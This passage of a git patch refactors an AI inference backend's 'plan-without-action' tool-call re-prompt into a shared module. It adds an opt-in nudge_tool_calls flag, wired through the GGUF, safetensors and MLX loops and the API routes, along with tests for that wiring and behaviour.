 .../src/features/chat/chat-settings-sheet.tsx |  25 ++
 .../chat/stores/chat-runtime-store.ts         |  14 +
 .../frontend/src/features/chat/types/api.ts   |   1 +
 .../chat/utils/chat-settings-storage.ts       |  10 +
 .../features/settings/tabs/general-tab.tsx    |   1 +
 18 files changed, 507 insertions(+), 83 deletions(-)
 create mode 100644 studio/backend/tests/test_nudge_tool_calls_wiring.py

diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 164f202681..064be30c06 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -828,6 +828,7 @@ class InferenceBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
@@ -877,6 +878,7 @@ class InferenceBackend:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index aab3470193..5e6287f528 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -75,6 +75,12 @@ from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
 from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
+from core.inference.tool_call_parser import (
+    MAX_ACT_REPROMPTS as _MAX_REPROMPTS,
+    REPROMPT_MAX_CHARS as _REPROMPT_MAX_CHARS,
+    is_short_intent_without_action as _is_short_intent_without_action,
+    reprompt_to_act_message as _reprompt_to_act_message,
+)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
     tool_event_provenance,
@@ -223,25 +229,8 @@ def _wsl_system_rocm_lib_dirs() -> "list[str]":
     return out
 
 
-# ── Pre-compiled patterns for plan-without-action re-prompt ──
-# Forward-looking intent signals: the model is describing what it *will*
-# do rather than giving a final answer.
-_INTENT_SIGNAL = re.compile(
-    r"(?i)("
-    # Direct intent ("I'll ...", "Let me ...", straight + curly apostrophes).
-    # Excludes "I can"/"I should"/"I want to"/"let's" (common in answers).
-    # Negative lookahead drops negated forms ("I will not") so a refusal
-    # doesn't trigger a re-prompt.
-    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
-    r"|"
-    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
-    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
-    r"|"
-    # "Now I" / "Next I" patterns
-    r"\b(?:now i|next i)\b"
-    r")"
-)
-_MAX_REPROMPTS = 3
+# Plan-without-action re-prompt state (intent signal, caps, message) now lives
+# in tool_call_parser, imported above under its old aliases.
 
 # Default max_tokens to the effective context when known. The floor is high
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
@@ -252,7 +241,6 @@ _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
 # is exempt because it needs immediate artifact feedback.
 _PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
-_REPROMPT_MAX_CHARS = 2000
 # Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors
 # loop). Structured delta.tool_calls are grammar-bounded by llama-server; text
 # parsed from content is not, so one runaway turn could fan out unbounded.
@@ -333,11 +321,6 @@ def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int:
     return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0
 
 
-def _is_short_intent_without_action(text: str) -> bool:
-    stripped = text.strip()
-    return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None
-
-
 def _should_suppress_forced_no_tool_output(text: str) -> bool:
     """Suppress only repeated forced-turn planning text, not final answers."""
     stripped = text.strip()
@@ -8456,6 +8439,7 @@ class LlamaCppBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
@@ -8626,11 +8610,9 @@ class LlamaCppBackend:
         _kb_search_count = 0
 
         # ── Re-prompt on plan-without-action ─────────────────
-        # When the model describes what it intends to do (forward-looking
-        # language) without calling a tool, re-prompt once. Only triggers on
-        # responses signaling intent/planning -- a direct answer like "4" or
-        # "Hello!" won't match. Pattern compiled at module level
-        # (_INTENT_SIGNAL).
+        # Model describes intent without calling a tool: re-prompt once. A
+        # direct answer ("4", "Hello!") won't match. Pattern shared with the
+        # safetensors loop (tool_call_parser.INTENT_SIGNAL).
         _reprompt_count = 0
         # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved
         # re-prompt slots don't extend the budget. Mirrors the safetensors guard.
@@ -9153,8 +9135,10 @@ class LlamaCppBackend:
                             r"(?i)\brender[_\s-]?html\b",
                             _stripped,
                         )
+                        # None keeps the default-on re-prompt; False disables it.
                         if (
                             auto_heal_tool_calls
+                            and (nudge_tool_calls is None or nudge_tool_calls)
                             and active_tools
                             and not _render_html_already_done_intent
                             and _reprompt_count < _MAX_REPROMPTS
@@ -9183,12 +9167,7 @@ class LlamaCppBackend:
                             conversation.append(
                                 {
                                     "role": "user",
-                                    "content": (
-                                        "You have access to enabled tools. If a tool is needed to satisfy "
-                                        "the user's request or complete the action you described, call "
-                                        f"{tool_hint} now. If no tool is needed, provide the final answer "
-                                        "and follow the user's requested format."
-                                    ),
+                                    "content": _reprompt_to_act_message(tool_hint),
                                 }
                             )
                             # Accumulate tokens and timing from this iteration.
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 5dbd5fb479..675bd9f3ea 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -945,6 +945,7 @@ class InferenceOrchestrator:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
@@ -1007,6 +1008,7 @@ class InferenceOrchestrator:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index aa732f47e4..81c25b777e 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -33,10 +33,13 @@ from core.inference.tool_call_parser import (
     _strip_mistral_closed_calls,
     _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
+    MAX_ACT_REPROMPTS,
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
     TOOL_XML_SIGNALS,
+    is_short_intent_without_action,
     parse_tool_calls_from_text,
+    reprompt_to_act_message,
     strip_leading_bare_json_call,
     strip_llama3_leading_sentinels,
     strip_tool_markup,
@@ -75,21 +78,6 @@ _MAX_BUFFER_CHARS = 32
 # Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
 _MAX_BARE_JSON_BUFFER = 16384
 
-# Forward-looking intent ("I'll", "First,", "Step 1:") = planning, not answering; nudge a call.
-# Negative lookahead drops negated forms ("I will not") so a refusal doesn't trigger it. Mirrors GGUF.
-_INTENT_SIGNAL = re.compile(
-    r"(?i)("
-    r"\b(i['’](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
-    r"|\b(?:first\b|step \d+:?|here['’]?s (?:my |the |a )?(?:plan|approach))"
-    r"|\b(?:now i|next i)\b"
-    r")"
-)
-_MAX_REPROMPTS = 3
-_REPROMPT_MAX_CHARS = 2000
-# Templated so the nudge names the caller's enabled tools, not a hardcoded set. Mirrors GGUF tool_hint.
-_REPROMPT_INSTRUCTION_TEMPLATE = (
-    "STOP. Do NOT write code or explain. You MUST call a tool NOW. Call {tool_hint} immediately."
-)
 
 # No grammar constraint here (unlike llama-server's lazy grammar): collapse
 # exact-duplicate calls and cap the count so a runaway turn cannot fan out.
@@ -432,6 +420,7 @@ def run_safetensors_tool_loop(
     execute_tool: Callable[..., str],
     cancel_event: Optional[threading.Event] = None,
     auto_heal_tool_calls: bool = True,
+    nudge_tool_calls: Optional[bool] = None,
     max_tool_iterations: int = 25,
     tool_call_timeout: int = 300,
     session_id: Optional[str] = None,
@@ -471,6 +460,9 @@ def run_safetensors_tool_loop(
         for _ev in _auto["events"]:
             yield _ev
         conversation.extend(_auto["messages"])
+    # Autoinject ran a KB search outside the controller, so it counts as an
+    # executed tool for the plan-without-action gate.
+    rag_autoinjected = bool(_auto)
 
     unrestricted_tools = not tools
     # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
@@ -488,6 +480,9 @@ def run_safetensors_tool_loop(
     final_attempt_done = False
     next_call_id = 0
     reprompt_count = 0
+    # A denied tool confirmation must not be answered with a plan-without-action
+    # re-prompt (which would raise the confirmation gate again).
+    tool_denied = False
     # Real tool-call turns completed. Only turns that actually executed a tool count
     # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
     # plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
@@ -510,7 +505,7 @@ def run_safetensors_tool_loop(
     _state_draining = 2
 
     # Reserve re-prompt slots so they don't eat the caller's tool budget.
-    _extra_iters = _MAX_REPROMPTS if max_tool_iterations > 0 else 0
+    _extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0
     for iteration in range(max_tool_iterations + _extra_iters + 1):
         if cancel_event is not None and cancel_event.is_set():
             return
@@ -869,33 +864,39 @@ def run_safetensors_tool_loop(
                 enabled_tool_names = _enabled_tool_names,
             )
             if not safety_tc:
-                # Re-prompt only when the model planned without acting (intent
-                # signal); "4" / "Hello!" never trigger. Mirrors GGUF.
-                _stripped = content_accum.strip()
+                # Re-prompt once on plan-without-action, before any tool runs
+                # (GGUF loop parity). The retry is gated on nudge_tool_calls so
+                # Studio callers (which send True) always nudge, while API callers
+                # who omit the flag keep today's no-reprompt behavior (opt-in).
+                stripped_answer = content_accum.strip()
                 if (
-                    tools
-                    and auto_heal_tool_calls
-                    and reprompt_count < _MAX_REPROMPTS
-                    and 0 < len(_stripped) < _REPROMPT_MAX_CHARS
-                    and _INTENT_SIGNAL.search(_stripped)
-                    and not final_attempt_done
+                    auto_heal_tool_calls
+                    and nudge_tool_calls
+                    and active_tools
+                    and reprompt_count < MAX_ACT_REPROMPTS
+                    and not rag_autoinjected
+                    and not tool_denied
+                    and not any(record.executed for record in tool_controller.history)
+                    and is_short_intent_without_action(stripped_answer)
                 ):
                     reprompt_count += 1
                     logger.info(
-                        "Safetensors re-prompt %d/%d: model planned without "
+                        "Safetensors re-prompt %d/%d: model responded without "
                         "calling tools (%d chars)",
                         reprompt_count,
-                        _MAX_REPROMPTS,
-                        len(_stripped),
+                        MAX_ACT_REPROMPTS,
+                        len(stripped_answer),
                     )
+                    conversation.append({"role": "assistant", "content": stripped_answer})
                     tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
-                    conversation.append({"role": "assistant", "content": _stripped})
                     conversation.append(
                         {
                             "role": "user",
-                            "content": _REPROMPT_INSTRUCTION_TEMPLATE.format(tool_hint = tool_hint),
+                            "content": reprompt_to_act_message(tool_hint),
                         }
                     )
+                    # Empty status clears the badge and resets the route's
+                    # per-turn text cursor before the re-prompted turn streams.
                     yield {"type": "status", "text": ""}
                     continue
 
@@ -1085,6 +1086,7 @@ def run_safetensors_tool_loop(
                         "result": TOOL_REJECTED_MESSAGE,
                         "provenance": decision.provenance,
                     }
+                    tool_denied = True
                     denied_message = {
                         "role": "tool",
                         "name": decision.tool_name,
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index 70115e5744..1ab1142eba 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -163,6 +163,41 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
+# ── Plan-without-action re-prompt (shared by the GGUF and safetensors loops) ──
+# Forward-looking intent: the model says what it *will* do, not a final answer.
+INTENT_SIGNAL = re.compile(
+    r"(?i)("
+    # Direct intent ("I'll", "Let me"); lookahead drops negated forms
+    # ("I will not") so a refusal does not re-prompt.
+    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
+    r"|"
+    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
+    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
+    r"|"
+    r"\b(?:now i|next i)\b"
+    r")"
+)
+# Matches GGUF's established default (llama_cpp.py has re-prompted up to 3
+# times since #5620); safetensors and MLX inherit the same cap from here.
+MAX_ACT_REPROMPTS = 3
+REPROMPT_MAX_CHARS = 2000
+
+
+def is_short_intent_without_action(text: str) -> bool:
+    stripped = text.strip()
+    return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None
+
+
+def reprompt_to_act_message(tool_hint: str) -> str:
+    """The user message appended when re-prompting a plan-without-action turn."""
+    return (
+        "You have access to enabled tools. If a tool is needed to satisfy "
+        "the user's request or complete the action you described, call "
+        f"{tool_hint} now. If no tool is needed, provide the final answer "
+        "and follow the user's requested format."
+    )
+
+
 # Qwen / Hermes ``<tool_call>{json}``.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
 # Qwen3.5 ``<function=name>`` and the attribute form ``<function name="name">``
diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 2c87ce8c6e..963d584303 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -177,6 +177,7 @@ class ChatSettingsPayload(BaseModel):
     collapseHtmlArtifacts: Optional[bool] = None
     allowArtifactNetworkAccess: Optional[bool] = None
     autoHealToolCalls: Optional[bool] = None
+    nudgeToolCalls: Optional[bool] = None
     maxToolCallsPerMessage: Optional[int] = Field(default = None, ge = 1)
     toolCallTimeout: Optional[int] = Field(default = None, ge = 1)
 
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 1042dda004..032a6e874a 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -6162,6 +6162,7 @@ async def openai_chat_completions(
                     reasoning_effort = payload.reasoning_effort,
                     preserve_thinking = payload.preserve_thinking,
                     auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                    nudge_tool_calls = payload.nudge_tool_calls,
                     max_tool_iterations = payload.max_tool_calls_per_message
                     if payload.max_tool_calls_per_message is not None
                     else 25,
@@ -6888,6 +6889,7 @@ async def openai_chat_completions(
                 reasoning_effort = payload.reasoning_effort,
                 preserve_thinking = payload.preserve_thinking,
                 auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 max_tool_iterations = _sf_tool_budget,
                 tool_call_timeout = payload.tool_call_timeout
                 if payload.tool_call_timeout is not None
@@ -10074,6 +10076,7 @@ async def anthropic_messages(
                 cancel_event = cancel_event,
                 max_tool_iterations = 25,
                 auto_heal_tool_calls = True,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 tool_call_timeout = 300,
                 session_id = payload.session_id,
                 # Anthropic passthrough has no rag_scope field (RAG is local-only).
diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py
index 2a6ebe244f..a60ac700bf 100644
--- a/studio/backend/tests/test_chat_history_routes.py
+++ b/studio/backend/tests/test_chat_history_routes.py
@@ -91,6 +91,17 @@ def test_chat_settings_payload_accepts_fast_mode_presets():
     assert dumped["customPresets"][0]["params"]["fastMode"] is True
 
 
+def test_chat_settings_payload_accepts_nudge_tool_calls():
+    # extra="forbid" 400s PUT /api/chat/settings on unknown keys, so the
+    # frontend's persisted nudgeToolCalls needs a payload field (like
+    # autoHealToolCalls).
+    payload = chat_history.ChatSettingsPayload.model_validate(
+        {"autoHealToolCalls": True, "nudgeToolCalls": False}
+    )
+    dumped = payload.model_dump(exclude_unset = True)
+    assert dumped == {"autoHealToolCalls": True, "nudgeToolCalls": False}
+
+
 def test_chat_inference_settings_covers_frontend_persisted_fields():
     # Drift guard: every InferenceParams field the UI persists (all but
     # checkpoint) must exist on ChatInferenceSettings, else extra="forbid"
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 9e16be2160..fb1b0e52b7 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -1168,6 +1168,48 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch):
     assert len(payloads) == 1
 
 
+def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch):
+    # Explicit nudge_tool_calls=False disables the plan-without-action
+    # re-prompt even with Auto-Heal on (None keeps the default-on behavior).
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        raise AssertionError(f"unexpected tool execution: {name} {arguments}")
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    tools = [
+        {
+            "type": "function",
+            "function": {
+                "name": "render_html",
+                "description": "Render HTML.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "Make a red square."}],
+            tools = tools,
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = True,
+            nudge_tool_calls = False,
+        )
+    )
+
+    content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
+    assert content_texts == ["I will use render_html now."]
+    assert len(payloads) == 1
+
+
 def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatch):
     streams = [
         [
diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py
new file mode 100644
index 0000000000..2c27b220ba
--- /dev/null
+++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py
@@ -0,0 +1,88 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Wiring guard for the plan-without-action ``nudge_tool_calls`` policy.
+
+Decided policy: the re-prompt is ALWAYS ON for the Studio inference paths
+(safetensors, GGUF/llama_cpp, MLX) and OPT-IN for the API (/v1 OpenAI-compat +
+Anthropic-compat, controlled by the request's ``nudge_tool_calls``, default off).
+
+Mechanism (verified here without loading a model):
+
+  * every backend tool-loop entry point accepts and forwards ``nudge_tool_calls``
+    (safetensors -> ``InferenceBackend``; MLX -> ``InferenceOrchestrator``; both
+    call the shared ``run_safetensors_tool_loop``; GGUF -> ``LlamaCppBackend``);
+  * the safetensors/MLX loop gates the retry on a truthy flag (new retry ->
+    opt-in), while the GGUF loop keeps its pre-existing default-on behaviour
+    (``None`` keeps nudging) so an omitted flag never disables GGUF;
+  * the API request models default the flag to ``None`` (opt-in / off);
+  * the Studio-facing routes forward the request's flag, and the Studio frontend
+    sends ``nudge_tool_calls: true`` -- exercised behaviourally in
+    ``test_safetensors_tool_loop.py`` and ``test_llama_cpp_tool_loop.py``.
+"""
+
+import inspect
+
+from core.inference.inference import InferenceBackend
+from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.orchestrator import InferenceOrchestrator
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+
+def _params(fn):
+    return inspect.signature(fn).parameters
+
+
+def test_shared_loop_accepts_nudge_flag():
+    assert "nudge_tool_calls" in _params(run_safetensors_tool_loop)
+
+
+def test_all_three_backends_accept_the_flag():
+    for method in (
+        InferenceBackend.generate_chat_completion_with_tools,
+        InferenceOrchestrator.generate_chat_completion_with_tools,
+        LlamaCppBackend.generate_chat_completion_with_tools,
+    ):
+        assert "nudge_tool_calls" in _params(method), method.__qualname__
+
+
+def test_delegating_backends_forward_the_flag_to_the_shared_loop():
+    # safetensors (in-process transformers) and MLX (parent-process orchestrator)
+    # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop
+    # and consumes the flag directly (asserted separately by the gate test).
+    for method in (
+        InferenceBackend.generate_chat_completion_with_tools,
+        InferenceOrchestrator.generate_chat_completion_with_tools,
+    ):
+        src = inspect.getsource(method)
+        assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__
+
+
+def test_safetensors_loop_is_opt_in_while_gguf_stays_default_on():
+    # Safetensors/MLX: the retry is new here, so it requires a truthy flag.
+    sf_src = inspect.getsource(run_safetensors_tool_loop)
+    assert "and nudge_tool_calls" in sf_src
+    # GGUF: pre-existing nudge must not be accidentally disabled -- an omitted
+    # (None) flag keeps nudging; only an explicit False turns it off.
+    gguf_src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+    assert "nudge_tool_calls is None or nudge_tool_calls" in gguf_src
+
+
+def test_api_request_models_default_the_flag_off():
+    from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+    for model in (ChatCompletionRequest, AnthropicMessagesRequest):
+        field = model.model_fields["nudge_tool_calls"]
+        assert field.default is None, model.__name__
+
+
+def test_studio_routes_forward_the_request_flag():
+    # The Studio chat frontend posts to /v1/chat/completions and /v1/messages
+    # with nudge_tool_calls=true; the route handlers forward the request value
+    # (external API clients that omit it fall back to the opt-in default).
+    from routes import inference as routes_inference
+    for handler in (
+        routes_inference.openai_chat_completions,
+        routes_inference.anthropic_messages,
+    ):
+        src = inspect.getsource(handler)
+        assert "nudge_tool_calls = payload.nudge_tool_calls" in src, handler.__name__
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index f826f3cddf..a8546b82c4 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -2229,6 +2229,9 @@ def _reprompt_loop(*, auto_heal_tool_calls):
             tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}],
             execute_tool = exec_fn,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            # Studio always nudges (always-on for the Studio inference paths); the
+            # API opts in per request. Model the Studio caller here.
+            nudge_tool_calls = True,
             max_tool_iterations = 3,
         )
     )
@@ -3100,7 +3103,7 @@ class TestLoopBehaviour:
 
 
 class TestLoopRePrompt:
-    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``_MAX_REPROMPTS`` extra slots."""
+    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``MAX_ACT_REPROMPTS`` extra slots. Studio always nudges, so these drive the loop with ``nudge_tool_calls=True``."""
 
     def test_intent_signal_triggers_reprompt(self):
         # Turn 1: intent signal, no tool call.
@@ -3116,6 +3119,7 @@ class TestLoopRePrompt:
                 ["The sky is blue."],
             ],
             exec_results = ["Blue (Rayleigh scattering)"],
+            nudge_tool_calls = True,
         )
         events = _collect_events(loop)
         # web_search must have been called once (after the re-prompt).
@@ -3159,13 +3163,14 @@ class TestLoopRePrompt:
         contents = [e for e in events if e["type"] == "content"]
         assert contents and contents[-1]["text"].strip() == "4"
 
-    def test_max_reprompts_capped_at_three(self):
-        # Model keeps stalling with intent -- after 3 re-prompts the
-        # loop must give up rather than burn forever.
+    def test_max_reprompts_capped(self):
+        # Model keeps stalling with intent -- after MAX_ACT_REPROMPTS re-prompts
+        # the loop must give up rather than burn forever.
         turns = [["Let me search for that."]] * 6  # well over the cap
         loop, exec_fn = _make_loop(
             turns = turns,
             exec_results = [],
+            nudge_tool_calls = True,
         )
         events = _collect_events(loop, max_events = 500)
         # No tool ever ran, but the loop terminated cleanly.
@@ -3184,6 +3189,7 @@ class TestLoopRePrompt:
                 ["found"],
             ],
             exec_results = ["..."],
+            nudge_tool_calls = True,
         )
         events = _collect_events(loop)
         assert exec_fn.calls == [("web_search", {"query": "x"})]
@@ -3194,7 +3200,7 @@ class TestLoopRePrompt:
         # re-prompt ate the slot the tool call would never run.
         loop, exec_fn = _make_loop(
             turns = [
-                # 1. Intent stall (re-prompt 1/3).
+                # 1. Intent stall (re-prompt).
                 ["Let me search for that."],
                 # 2. Real tool call (uses the budget slot).
                 ['<tool_call>{"name":"web_search","arguments":{"query":"weather"}}</tool_call>'],
@@ -3203,6 +3209,7 @@ class TestLoopRePrompt:
             ],
             exec_results = ["sunny"],
             max_tool_iterations = 1,
+            nudge_tool_calls = True,
         )
         events = _collect_events(loop)
         assert exec_fn.calls == [("web_search", {"query": "weather"})]
@@ -3305,13 +3312,22 @@ class TestGGUFSafetensorsHealingParity:
         }
 
     def test_intent_regex_matches_same_phrases_as_gguf(self):
-        # The intent re-prompt regex must match the SAME forward-looking
-        # phrases on both backends so behaviour is the same on Mac (MLX
-        # / safetensors) and on Linux (GGUF).
-        from core.inference.llama_cpp import _INTENT_SIGNAL as gguf_re
-        from core.inference.safetensors_agentic import (
-            _INTENT_SIGNAL as sf_re,
+        # The intent re-prompt regex is now a single shared source of truth
+        # (tool_call_parser.INTENT_SIGNAL) consumed by both the GGUF and the
+        # safetensors/MLX loops, so behaviour is identical on Mac and Linux.
+        # Both backends must resolve to that one shared helper.
+        from core.inference.llama_cpp import (
+            _is_short_intent_without_action as gguf_fn,
         )
+        from core.inference.safetensors_agentic import (
+            is_short_intent_without_action as sf_fn,
+        )
+        from core.inference.tool_call_parser import (
+            INTENT_SIGNAL as shared_re,
+            is_short_intent_without_action as shared_fn,
+        )
+
+        assert gguf_fn is shared_fn and sf_fn is shared_fn
 
         for phrase in (
             "I'll search for that",
@@ -3322,8 +3338,8 @@ class TestGGUFSafetensorsHealingParity:
             "Here's my plan",
             "Now I need to call web_search",
         ):
-            assert gguf_re.search(phrase), f"GGUF missed {phrase!r}"
-            assert sf_re.search(phrase), f"safetensors missed {phrase!r}"
+            assert shared_re.search(phrase), f"missed {phrase!r}"
+            assert shared_fn(phrase), f"helper missed {phrase!r}"
 
         for plain in (
             "4",
@@ -3337,13 +3353,16 @@ class TestGGUFSafetensorsHealingParity:
             "I will not search the web for that.",
             "I'll never call that tool.",
         ):
-            assert not gguf_re.search(plain), f"GGUF wrongly fired on {plain!r}"
-            assert not sf_re.search(plain), f"safetensors wrongly fired on {plain!r}"
+            assert not shared_re.search(plain), f"wrongly fired on {plain!r}"
+            assert not shared_fn(plain), f"helper wrongly fired on {plain!r}"
 
     def test_max_reprompts_equal_on_both_backends(self):
+        # Both loops draw the cap from the shared constant, so they stay equal.
         from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap
-        from core.inference.safetensors_agentic import _MAX_REPROMPTS as sf_cap
-        assert gguf_cap == sf_cap == 3
+        from core.inference.safetensors_agentic import MAX_ACT_REPROMPTS as sf_cap
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS as shared_cap
+
+        assert gguf_cap == sf_cap == shared_cap
 
 
 class TestLoopControl:
@@ -3822,6 +3841,193 @@ class TestGptOssNameDetection:
         assert is_gpt_oss_model_name(cast(str, None)) is False
 
 
+# ────────────────────────────────────────────────────────────────────
+# Plan-without-action re-prompt (GGUF loop parity)
+# ────────────────────────────────────────────────────────────────────
+
+
+class TestPlanWithoutActionReprompt:
+    def test_short_intent_is_reprompted_and_tool_executes(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the final answer."],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("Here is the final answer." in t for t in texts)
+
+    def test_reprompt_fires_up_to_the_cap(self):
+        # GGUF parity: a persistently stalling model is re-prompted up to
+        # MAX_ACT_REPROMPTS times, then the last stall is surrendered as the
+        # final answer and no further turn is generated.
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS
+
+        stall = "Let me look into it first."
+        turns = [["I'll search the web for that."]]
+        turns += [[stall]] * MAX_ACT_REPROMPTS
+        turns += [["SHOULD NOT APPEAR"]]
+
+        generations = {"count": 0}
+        turn_iter = iter(turns)
+
+        def _gen(_messages):
+            generations["count"] += 1
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool([])
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
